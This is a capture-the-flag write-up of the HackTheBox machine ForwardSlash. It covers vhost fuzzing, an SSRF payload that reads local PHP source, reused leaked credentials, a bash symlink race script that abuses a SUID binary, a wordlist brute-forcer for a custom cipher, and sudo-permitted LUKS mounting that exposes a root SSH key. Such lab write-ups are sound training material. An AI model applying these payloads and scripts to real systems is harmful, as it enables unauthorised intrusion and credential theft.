ForwardSlash is a Linux HackTheBox machine, which involved fuzzing virtual hosts to find a web application vulnerable to SSRF, exploiting the vulnerability to read a local file accessible only from localhost, that contained the plaintext password for user chiv, exploiting a race condition in a SUID binary, and writing a custom decryptor tool to recover the key used to encrypt a LUKS container, in which the SSH private key for the root user was stored.

Reconnaissance

Port scan

Let’s start off with a full TCP port scan with service detection.

$ nmap -Pn -p- -sV --max-retries 1 -oA nmap/full 10.10.10.183

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

Webapp on port 80

When trying to load the website using the box IP address, the browser gets redirected to the hostname forwardslash.htb which doesn’t know how to resolve, so we need to add the following entry to /etc/hosts to map the hostname to the box IP address.

10.10.10.183    forwardslash.htb

We can then reload the page with the browser.

If we navigate to /note.txt we can see that there’s an interesting note left by user chiv, which contains a reference to a backup website.

Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I know... That name...
Anyway I am just leaving this note here to say that we still have that backup site so we should be fine.

-chiv

VHost Fuzzing

Since there’s a mention to a backup site, in the note left by user chiv, we can brute force the virtual hosts using ffuf. This way we discover that a vhost for backup.forwardslash.htb.

$ wfuzz -H 'Host: FUZZ.forwardslash.htb' -u http://10.10.10.183/ \
      -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
      --hc 400 --hh 0 \
      | tee enum/subdomains.log

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000055:   302        0 L      6 W      33 Ch       "backup"

After adding the new vhost to the /etc/hosts entry we previously added for the machine IP address, we can access the backup site at: backup.forwardslash.htb.

We can then proceed by registering a dummy account and login with it. Once logged in, we are redirected to the user dashboard page.

Content discovery

While poking at the different pages that can be reached from the dashboard, we can run ffuf in the background and attempt to discover additional directory and php files which exists on the server.

$ ffuf -u "http://backup.forwardslash.htb/FUZZ" \
     -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt \
     -e .php -o enum/ffuf-backup-phpfiles.log

[...]
config.php              [Status: 200, Size: 0, Words: 1, Lines: 1]
dev                     [Status: 301, Size: 332, Words: 20, Lines: 10]
index.php               [Status: 302, Size: 1, Words: 1, Lines: 1]
welcome.php             [Status: 302, Size: 33, Words: 6, Lines: 1]
environment.php         [Status: 302, Size: 0, Words: 1, Lines: 1]
server-status           [Status: 403, Size: 288, Words: 20, Lines: 10]
hof.php                 [Status: 302, Size: 0, Words: 1, Lines: 1]
reset-password.php      [Status: 302, Size: 0, Words: 1, Lines: 1]
index.php               [Status: 302, Size: 1, Words: 1, Lines: 1]

The most interesting result is the /dev directory. If we try to navigate to access it, we get a 403 with a message that suggest that there’s some access control mechanism that denies connection from our IP address.

SSRF and Local File Disclosure

Going back to the dashboard, we can see that there’s a page which allows the user to change the profile picture (profilepicture.php).

There’s another note above the URL form field, which may suggest that the form has been disabled because it contains some vulnerability. Luckily for us, by inspecting the page HTML, we can see that the developers added the disabled key to the submit button.

<form action="/profilepicture.php" method="post">
  URL:
  <input type="text" name="url" disabled style="width:600px" /><br />
  <input style="width:200px" type="submit" value="Submit" disabled />
</form>

If we can send a POST request with the expected url parameter, we can see that the endpoint hasn’t been taken down and still responds to requests.

#!/bin/bash

SERVERFILE=$1
COOKIE=c73ad7dc070ie[...]

curl -s -b $COOKIE -d "url=$SERVERFILE" http://backup.forwardslash.htb/profilepicture.php

After discoverying that the server discloses any local file assigned to the url parameter, (e.g. url=/etc/password), we can use the following payload to bypass the access controls on dev/index.php, and read the source code.

url=php://filter/convert.base64-encode/resource=/var/www/backup.forwardslash.htb/dev/index.php

By base64 decoding the downloaded file, we can see the PHP source code of the page, that contains hardcocded plaintext FTP credentials for user chiv.

     [...]

         $conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");

         error_log("Logging in");

         if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {

             error_log("Getting file");
             echo ftp_get_string($conn_id, "debug.txt");
         }

         exit;
     }

     [...]

Initial access

User chiv has reused the credentials for SSH, so we can get a shell on the box as him, using the credentials we just found with SSH.

ssh [email protected]

chiv@forwardslash:~$

If we then run linPEAS enumeration script, we can notice that there’s a SUID binary named backup, that is not default on Linux installations.

...[snippet]...

/usr/bin/newuidmap
/usr/bin/backup
/usr/bin/newgidmap
/usr/lib/snapd/snap-co

...[snippet]...

The backup binary is owned by user pain.

chiv@forwardslash:~$ stat /usr/bin/backup

  File: /usr/bin/backup
  Size: 13384           Blocks: 32         IO Block: 4096   regular file
Device: 802h/2050d      Inode: 804211      Links: 1
Access: (4555/-r-sr-xr-x)  Uid: ( 1000/    pain)   Gid: ( 1000/    pain)
Access: 2020-04-30 15:09:24.122342585 +0000
Modify: 2020-03-06 10:06:29.512014784 +0000
Change: 2020-03-06 10:07:15.671869287 +0000
 Birth: -

We can get an idea of what the binary is doing by running ltrace on it

chiv@forwardslash:~$ ltrace /usr/bin/backup
getuid()                                                               = 1001
getgid()                                                               = 1001
puts("--------------------------------"...----------------------------------------------------------------------
        Pain's Next-Gen Time Based Backup Viewer
        v0.1
        NOTE: not reading the right file yet,
        only works if backup is taken in same second
----------------------------------------------------------------------

)                            = 277
time(0)                                                                = 1588264296
localtime(0x7fffae99d2b0)                                              = 0x7f13f078b6a0
malloc(13)                                                             = 0x55c68a9388e0
sprintf("16:31:36", "%02d:%02d:%02d", 16, 31, 36)                      = 8
strlen("16:31:36")                                                     = 8
malloc(33)                                                             = 0x55c68a938900
MD5_Init(0x7fffae99d200, 4000, 0x55c68a938900, 0x55c68a938900)         = 1
MD5_Update(0x7fffae99d200, 0x55c68a9388e0, 8, 0x55c68a9388e0)          = 1
MD5_Final(0x7fffae99d260, 0x7fffae99d200, 0x7fffae99d200, 0)           = 1
[...]
nprintf("e0", 32, "%02x", 0xe0)                                       = 2
snprintf("40", 32, "%02x", 0x40)                                       = 2
printf("Current Time: %s\n", "16:31:36"Current Time: 16:31:36
)                               = 23
setuid(1002)                                                           = -1
setgid(1002)                                                           = -1
access("757c8d3167c81207e32406708bf8e040"..., 0)                       = -1
printf("ERROR: %s Does Not Exist or Is N"..., "757c8d3167c81207e32406708bf8e040"...ERROR: 757c8d3167c81207e32406708bf8e040 Does Not Exist or Is Not Accessible By Me, Exiting...
) = 94
setuid(1001)                                                           = 0
setgid(1001)                                                           = 0
remove("757c8d3167c81207e32406708bf8e040"...)                          = -1
+++ exited (status 0) +++

Privilege Escalation to user pain

Enumeration

From the ltrace dump, we can see that binary takes the hour:minutes:seconds part of the date/time string, and calculate its hash using MD5. Infact, by calculating the MD5 hash of the timestamp in the sprintf() function in the ltrace output above, we get the filename of the backup file that the binary was trying to read.

chiv@forwardslash:/tmp/rc$ echo -n "16:31:36" | md5sum
757c8d3167c81207e32406708bf8e040  -

Inside /var/backups there are a few .bak files (only 1 of them is owned by pain though) and a note written by user pain

chiv@forwardslash:/var/backups$ cat note.txt

Chiv, this is the backup of the old config, the one with the password we need to actually keep safe.
Please DO NOT TOUCH.

-Pain

The file he’s referring to is also in the same directory. The file is owned by pain, which means we can read it using the backup binary.

-rw-------  1 pain pain              526 Jun 21  2019 config.php.bak

Exploiting the Race Condition

With a simple bash script we can trick the backup binary into reading the config file, by creating a symlink to it.

The symlink filename must be equal to the md5 hash of the timestamp, so that it matches the file that the backup binary tries to read.

while true; do
    CTIME=$(date | cut -d" " -f4)
    echo "SAMPLED TIME: ${CTIME}"
    FNAME=$(echo -n $CTIME | md5sum | cut -d" " -f1);
    ln -s /var/backups/config.php.bak $FNAME; /usr/bin/backup;
    sleep 0.5;
    rm $FNAME;
done
SAMPLED TIME: 17:13:08
----------------------------------------------------------------------
        Pain's Next-Gen Time Based Backup Viewer
        v0.1
        NOTE: not reading the right file yet,
        only works if backup is taken in same second
----------------------------------------------------------------------

Current time: 17:13:08
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
define('DB_NAME', 'site');

/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>

We can switch to user pain with the password we just found inside the config file, and read the user flag.

chiv@forwardslash:/tmp/rc$ su pain
Password:   # db1f73a72678e857d[...]

As user pain we can read the user flag:

pain@forwardslash:~$ cat user.txt | cut -b 1-8
4c486f44

Privilege Escalation to root

Enumeration

Inside pain’s home directory, there’s another note written by user chiv.

pain@forwardslash:~$ ls -l
total 12
drwxr-xr-x 2 pain root 4096 Apr 30 22:04 encryptorinator
-rw-r--r-- 1 pain root  256 Jun  3  2019 note.txt
-rw------- 1 pain pain   33 Apr 30 20:55 user.txt
pain@forwardslash:~$ cat note.txt

Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key...
I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.

-chiv

User pain is in the backupoperator group:

pain@forwardslash:/var/backups/recovery$ id

uid=1000(pain) gid=1000(pain) groups=1000(pain),1002(backupoperator)

Knowing that, we can use the find command to search for files with backupowner group ownership.

pain@forwardslash:/var/backups$ find / -type f -group backupoperator 2>/dev/null

/var/backups/recovery/encrypted_backup.img

Users in the backupoperator group have access to /var/backups/recovery which is owned by root:backupoperator.

pain@forwardslash:/var/backups/recovery$ ls -al
total 976576
drwxrwx--- 2 root backupoperator       4096 May 27  2019 .
drwxr-xr-x 3 root root                 4096 Mar 24 10:10 ..
-rw-r----- 1 root backupoperator 1000000000 Mar 24 12:12 encrypted_backup.img

By reading the first few bytes of the image file we can see that it is a LUKS encrypted container. Since we don’t know the password needed to decrypt it, we can leave it there for now and move on to the encryptorinator scripts.

pain@forwardslash:/var/backups/recovery$ strings encrypted_backup.img | head

LUKS
xts-plain64
sha256
QGf2a0906a-c412-48db-8c18-3b72443c1bdf
 cnt
d}`3
...[snippet]...

We can then download all encryptorinator/* files via SSH, and inspecting them on our box.

$ mkdir encryptor && cd encryptor
scp [email protected]:/home/pain/encryptorinator/encrypter.py .
scp [email protected]:/home/pain/encryptorinator/ciphertext .

Creating a custom decryptor script

The encrypter.py script contains both the encryption and decryption functions. The key is not hardcoded, but since we have the ciphertext, we can try to guess the key.

To do that we write a python script, which brute forces the key using a wordlist, and checks if the plaintext contains any word we added to our keyword wordlist.

import sys

def get_file_contents(filepath):
    with open(filepath, 'r') as fd:
        return fd.read().strip()

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)


if __name__ == '__main__':
    if len(sys.argv) < 3:
        print('Error. Too few arguments supplied to the script')
        sys.exit(1)

    # read ciphertext
    print('Reading ciphertext ...')
    ciphertext = ''
    with open(sys.argv[1], 'r') as ct:
        ciphertext = ct.read().strip()

    # read file with keywords to search for in the plaintext
    print('Loading keywords ...')
    keywords = []
    with open(sys.argv[3], 'r') as kw:
        keywords = [k.strip() for k in kw.readlines()]
    print('{} loaded!'.format(len(keywords)))


    # Read wordlist line by line
    print('Loading wordlist ...')
    wordlist = []
    with open(sys.argv[2], 'r') as wl:
        wordlist = [w.strip() for w in wl.readlines() if w]
    print('{} words loaded!'.format(len(wordlist)))


    print('Ready to start with bruteforcing ...')
    counter = 0
    for word in wordlist:
        # Attempt decryption with key from wordlist
        plaintext = decrypt(word, ciphertext)

        # Check if plaintext contains any keywords
        for kw in keywords:
            if kw in plaintext:
                print('*' * 20 + ' SUCCESS ' + '*' * 20 + '\n')
                print('KEY: {}'.format(word))
                print('PLAINTEXT:\n{}'.format(plaintext))
                sys.exit(0)

        # Print checkpoints
        counter += 1
        if counter % 100 == 0:
            print('{} keys tried ...'.format(counter))

As noted before, in order to determine if the decryption key is correct, after each decryption attempt, the script checks if a list of keywords are in the plaintext. We can made a quick wordlist with the words that can realistically be in the plaintext, and run the brute forcing script.

$ cat keywords.txt

chiv
pain
key
secret
root
slash
crypto
keep
$ ./brute.py ciphertext ~/tools/wordlists/rockyou.txt keywords.txt

Reading ciphertext ...
Loading keywords ...
8 loaded!
Loading wordlist ...
14344394 words loaded!
Ready to start with bruteforcing ...
100 keys tried ...
200 keys tried ...
300 keys tried ...
400 keys tried ...
500 keys tried ...
[...]
44700 keys tried ...
44800 keys tried ...
44900 keys tried ...
45000 keys tried ...
45100 keys tried ...
45200 keys tried ...
45300 keys tried ...
45400 keys tried ...
45500 keys tried ...
45600 keys tried ...
******************** SUCCESS ********************

KEY: teamareporsiempre

PLAINTEXT:
H[2fv/vXLlyyou liked my new encryption tool, pretty secure huh, anyway here is
the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf

Decrypting and reading backup files

With sudo -l we can see that pain is allowed to run cryptsetup, mount and umount commands as root (with sudo). Those commands can be used to decrypt, mount and unmount the image respectively.

pain@forwardslash:/var/backups/recovery$ sudo -l

Matching Defaults entries for pain on forwardslash:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pain may run the following commands on forwardslash:
    (root) NOPASSWD: /sbin/cryptsetup luksOpen *
    (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
    (root) NOPASSWD: /bin/umount ./mnt/

We can then decrypt and mount the image

pain@forwardslash:/var/backups/recovery$ mkdir backup
pain@forwardslash:/var/backups/recovery$ sudo /sbin/cryptsetup luksOpen encrypted_backup.img backup
pain@forwardslash:/var/backups/recovery$ mkdir mnt
pain@forwardslash:/var/backups/recovery$ sudo /bin/mount /dev/mapper/backup ./mnt/

The encrypted backup contains the SSH private key of the root user.

pain@forwardslash:/var/backups/recovery$ cd mnt
pain@forwardslash:/var/backups/recovery/mnt$ ls -al
total 8
drwxr-xr-x 2 root root             20 Mar 17 20:07 .
drwxrwx--- 3 root backupoperator 4096 May  1 00:49 ..
-rw-r--r-- 1 root root           1675 May 27  2019 id_rsa
pain@forwardslash:/var/backups/recovery/mnt$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA9i/r8VGof1vpIV6rhNE9hZfBDd3u6S16uNYqLn+xFgZEQBZK
RKh+WDykv/gukvUSauxWJndPq3F1Ck0xbcGQu6+1OBYb+fQ0B8raCRjwtwYF4gaf
yLFcOS111mKmUIB9qR1wDsmKRbtWPPPvgs2ruafgeiHujIEkiUUk9f3WTNqUsPQc
u2AG//ZCiqKWcWn0CcC2EhWsRQhLOvh3pGfv4gg0Gg/VNNiMPjDAYnr4iVg4XyEu
[...]
OENgOQKBgD/mYgPSmbqpNZI0/B+6ua9kQJAH6JS44v+yFkHfNTW0M7UIjU7wkGQw
ddMNjhpwVZ3//G6UhWSojUScQTERANt8R+J6dR0YfPzHnsDIoRc7IABQmxxygXDo
ZoYDzlPAlwJmoPQXauRl1CgjlyHrVUTfS0AkQH2ZbqvK5/Metq8o
-----END RSA PRIVATE KEY-----

We can send the key to our attacker box, or simply copy and paste the key into a local file, and use it to SSH into the box as root.

chmod 600 id_rsa
ssh -i id_rsa [email protected]

...[snippet]...

root@forwardslash:~#

Root flag

root@forwardslash:~# cat root.txt | cut -b 1-8
b9616fb